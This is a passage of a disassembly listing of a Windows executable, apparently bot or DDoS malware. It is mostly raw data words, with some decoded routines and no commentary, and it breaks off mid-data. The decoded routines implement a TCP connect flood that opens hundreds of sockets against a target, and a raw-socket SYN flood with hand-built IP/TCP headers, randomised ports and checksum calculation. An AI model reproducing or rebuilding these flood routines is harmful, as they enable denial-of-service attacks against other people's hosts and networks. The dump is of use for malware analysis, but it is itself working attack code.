44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CB6A415h, 0FFF88300h, 75FC4589h, 0B815FF5Fh dd 50004CB5h, 0FC44858Dh, 0DC68FFFFh, 50004362h, 8995E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h dd 59FFFF84h, 0E8905759h, 22CDB29h, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CB60415h db 0, 83h word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A83Co dd 15FF5D75h, 4CB5B8h, 44858D50h, 68FFFFFCh, 4362ACh, 891CE850h dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h dd 5959FFFFh, 0DAB3E857h, 8D90022Ch, 0FFFE4885h, 15FF50FFh dd 4CB664h, 75FFF883h, 44858D55h, 68FFFFFCh, 43628Ch, 88B4E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h dd 575959FFh, 2CDA4CE8h, 106A9002h, 57E4458Dh, 856EE850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0B62415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 6415FF50h, 8B004CB6h, 4270A835h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0E39805C6h dd 0FF45004Ch, 4CB62415h, 0D47D3900h, 0E39AA366h, 8966004Ch dd 4CE39C1Dh, 3D896600h, 4CE39Eh, 0E3A005C6h, 8880004Ch dd 4CE3A11Dh, 3D896600h, 4CE3A2h, 33E83074h, 8B000088h dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h dd 8E3C1D8h, 8815E8h, 6AD80300h, 0A41D8901h, 5B004CE3h dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CB66415h dd 0E3A4A300h, 458B004Ch, 0E3A8A3E8h, 0E3E8004Ch, 99000087h dd 100B9h, 88F9F700h, 4CE3AC15h, 87D0E800h, 0B9990000h dd 100h, 1588F9F7h, 4CE3ADh, 87BDE8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CE3AE3Dh, 1D896600h, 4CE3B2h, 15896642h dd 4CE3B0h, 8795E8h, 0FFB99900h, 0F7000000h, 0B46852F9h dd 0E8004CE3h, 8430h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CE398h, 0FFFC75FFh, 4CB68815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0BC15FFFCh, 0FF004CB6h dd 4CB5B815h, 858D5000h, 0FFFFFE48h, 500875FFh, 43624468h dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 0D863E857h dd 0FF90022Ch, 15FFFC75h, 4CB6BCh, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4361F868h dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 97E8C875h, 59FFFF81h, 0DEE85759h, 90022CD7h dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+550Fo dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0AC15FF00h dd 89004CB5h, 858D0845h, 0FFFFFF40h, 6415FF50h, 8B004CB6h dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0A815FF50h dd 3B004CB6h, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 3468FFFFh, 50004363h, 8589E8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh dd 2CD720E8h, 0C33B9002h, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CB53Ch, 0C0753B46h, 75FFDA7Ch, 0DC15FF08h, 8D004CB6h dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 43630868h, 0BBE85000h dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h dd 59FFFF80h, 0E8905359h, 22CD651h dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+575Bo dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 8EE89000h dd 500227D1h, 8493E8h, 116A5900h, 26A026Ah, 0B6A415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CB664h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CB6A815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 8868FFFFh dd 50004363h, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 2CD574E8h, 408B9002h dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CB624h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CB68815h, 0D875FF00h, 0CA5AE890h dd 754E0226h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h dd 42F9F700h, 2415FF52h, 66004CB6h, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 5C68FFFFh, 50004363h, 82A5E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h dd 575959FFh, 2CD43CE8h db 2, 90h word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 63B068FFh, 0E8500043h, 820Ah, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh dd 0D39FE856h, 5F90022Ch ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C5 proc near ; CODE XREF: ___:004137AEp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CB624 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413783 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413710: ; CODE XREF: sub_4136C5+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413718: ; CODE XREF: sub_4136C5+7Aj push 0 push 1 push 2 call near ptr 71AB3C22h nop cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373B lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call near ptr 71AB155Ah nop loc_41373B: ; CODE XREF: sub_4136C5+64j add esi, 4 dec ebx jnz short loc_413718 lea esi, [ebp+var_654] mov ebx, edi loc_413749: ; CODE XREF: sub_4136C5+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call near ptr 71AB3E5Dh nop add esi, 4 dec ebx jnz short loc_413749 push 64h nop call near ptr 2680000h lea esi, [ebp+var_654] mov ebx, edi loc_41376D: ; CODE XREF: sub_4136C5+B4j push dword ptr [esi] call near ptr 71AB1A6Dh nop add esi, 4 dec ebx jnz short loc_41376D dec [ebp+arg_4] jnz short loc_413710 pop edi pop esi pop ebx loc_413783: ; CODE XREF: sub_4136C5+3Ej xor eax, eax leave retn sub_4136C5 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov edi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C5 add esp, 18h test eax, eax jnz short loc_4137BD push 1 pop eax loc_4137BD: ; CODE XREF: ___:004137B8j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+6449o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 4363DCh, 8064E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF7BB2h, 0E8565959h, 22CD1F9h db 90h ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386B proc near ; CODE XREF: ___:00413B59p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB594 test eax, eax jz short loc_4138AB xor eax, eax jmp loc_413B19 ; --------------------------------------------------------------------------- loc_4138AB: ; CODE XREF: sub_41386B+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB6C8 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B11 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CB604 cmp eax, 0FFFFFFFFh jz loc_413B07 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CB624 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CB624 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CB624 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CB624 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 2790B67h lea eax, [ebp+var_8] push eax nop call near ptr 27907D3h push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413996: ; CODE XREF: sub_41386B+25Dj ; sub_41386B+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB624 mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CB624 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB620 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB624 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CB688 cmp eax, 0FFFFFFFFh jz short loc_413ADB add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 27907D3h mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B04 jl loc_413996 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B04 jmp loc_413996 ; --------------------------------------------------------------------------- loc_413ADB: ; CODE XREF: sub_41386B+247j call dword_4CB5B8 push eax lea eax, [ebp+var_F4] push offset dword_436404 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_413B07 ; --------------------------------------------------------------------------- loc_413B04: ; CODE XREF: sub_41386B+25Bj ; sub_41386B+269j mov ebx, [ebp+arg_8] loc_413B07: ; CODE XREF: sub_41386B+78j ; sub_41386B+297j push [ebp+var_C] call dword_4CB6BC pop esi loc_413B11: ; CODE XREF: sub_41386B+5Bj call dword_4CB57C mov eax, ebx loc_413B19: ; CODE XREF: sub_41386B+3Bj pop edi pop ebx leave retn sub_41386B endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386B add esp, 1Ch test eax, eax jnz short loc_413B68 push 1 pop eax loc_413B68: ; CODE XREF: ___:00413B63j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7BD1h, 858D5059h, 0FFFFFE70h, 6415FF50h, 50004CB6h dd 5DE8h, 50595900h, 0FC6C858Dh, 2468FFFFh, 50004364h dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3E8F075h, 59FFFF78h, 0E8905659h, 22CCE49h, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 930BE857h, 89590000h, 5057FC45h, 0B63815FFh, 75FF004Ch dd 0A815FFFCh, 8B004CB6h, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CB6A4h, 56D84D8Dh, 6A026A51h, 45895000h dd 415FFFCh, 0BE004CB6h, 200h, 77D3E856h, 3D8B0000h, 4270A8h dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B62415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 2415FF50h, 56004CB6h, 0E2458966h dd 0B62415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0B68815FFh dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh dd 4CB6BC15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CB6A4h dd 89FFF883h, 6675FC45h, 0B5B815FFh, 8D50004Ch, 0FFFBC085h dd 653C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h dd 535959FFh, 2CCB64E8h, 4D8D9002h, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CB60415h, 0FFF88300h, 15FF6675h, 4CB5B8h dd 0C0858D50h, 68FFFFFBh, 436504h, 7958E850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22CCAE5h, 0FDC4858Dh dd 0FF50FFFFh, 4CB66415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 4364E468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h dd 0E8905359h, 22CCA75h, 458D106Ah, 0E85053BCh, 7598h dd 660CC483h, 2BC45C7h, 15FF5300h, 4CB624h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CB66415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B62415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0B66415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 2415FFFFh dd 66004CB6h, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h dd 2415FF52h, 68004CB6h, 12345678h, 0E8458966h, 0B62015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B24Ch, 77EEE850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42B088h, 77CEE850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42B080h dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CB624h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 2415FF06h dd 66004CB6h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CB68815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 0BC15FFFCh, 0FF004CB6h, 4CB5B815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 43649468h, 0C0858D00h, 68FFFFFBh dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h dd 22CC779h, 0FFFC75FFh, 4CB6BC15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 43644468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h dd 90535959h, 2CC6E8E8h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_4143A5 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414397: ; CODE XREF: ___:0041439Fj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414397 pop edi cmp eax, 1 loc_4143A5: ; CODE XREF: ___:0041438Bj jnz short loc_4143B2 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4143B2: ; CODE XREF: ___:loc_4143A5j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 737Dh, 858D5059h, 0FFFFFE70h, 6415FF50h, 50004CB6h dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 657068FFh, 0E8500043h dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh dd 83FFFF56h, 